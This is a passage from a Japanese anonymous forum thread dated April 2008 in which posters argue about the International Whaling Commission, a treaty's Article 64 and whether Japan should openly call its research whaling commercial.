ソースも引用もなしで納得しちゃうのか？ｗ ほんとどうしようもないな 444 名前：442 mailto:sage [2008/04/04(金) 20:23:35 ID:HWFjVqPU0] >IWCがイルカ等の管理に関与しないなら、そういう機関を設立 >すべしにしかなってないわな。 もとい、「すべし」にすらなってないわ64条はww 445 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 20:26:17 ID:ggF9zC6X0] つーか日本は商業捕鯨したいんでしょ？何が問題なの？ 446 名前：名無しさん＠お腹いっぱい。 [2008/04/04(金) 20:53:45 ID:ggF9zC6X0] 日本は、 「商業捕鯨です。ついでに調査もやっときます」 と言ってしまえばいいんだよ。もう。

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